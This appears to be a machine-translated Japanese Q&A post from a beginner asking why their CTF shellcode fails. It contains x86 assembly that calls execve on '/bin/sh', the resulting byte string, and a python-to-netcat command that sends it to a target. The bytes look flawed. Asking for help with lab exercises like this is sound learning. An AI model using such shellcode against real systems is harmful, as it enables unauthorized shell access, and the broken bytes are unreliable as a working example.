0

私はシェルコードの初心者で、いくつかの CTF を開始しました。しかし、私は最も基本的な演習で立ち往生しています。

プログラムがあるとしましょう。このプログラムは、execve のポインター アドレスを示します: 0x8048450 char 配列 "\bin\sh" があり、そのアドレスも 0x80486a5 であるとします。

脆弱なコードは次のとおりです。

char input[4096];
read(0, input, 4096);
((func)&input)();

問題は、バイナリを持っていないため、対象となるアーキテクチャに関する情報があまりないことですが、32 ビットだと思います。

これが私のコードです:

 section .text
 global _start

 _start:
     xor eax,eax
     xor ebx,ebx
     xor ecx,ecx
     xor edx,edx
     mov eax, 0x80486a5
     push eax
     call 0x8048450

次に実行します:

nasm -f elf -o shellcode.o shellcode.asm

ld -o shellcode shellcode.o -m elf_i386

どちらが与える

\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00

私は実行します

python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port

しかし、何もありません。バイト配列を満たすために NOP スレッドを配置する必要がありますか?

私を読んでくれてありがとう!

4

0 に答える 0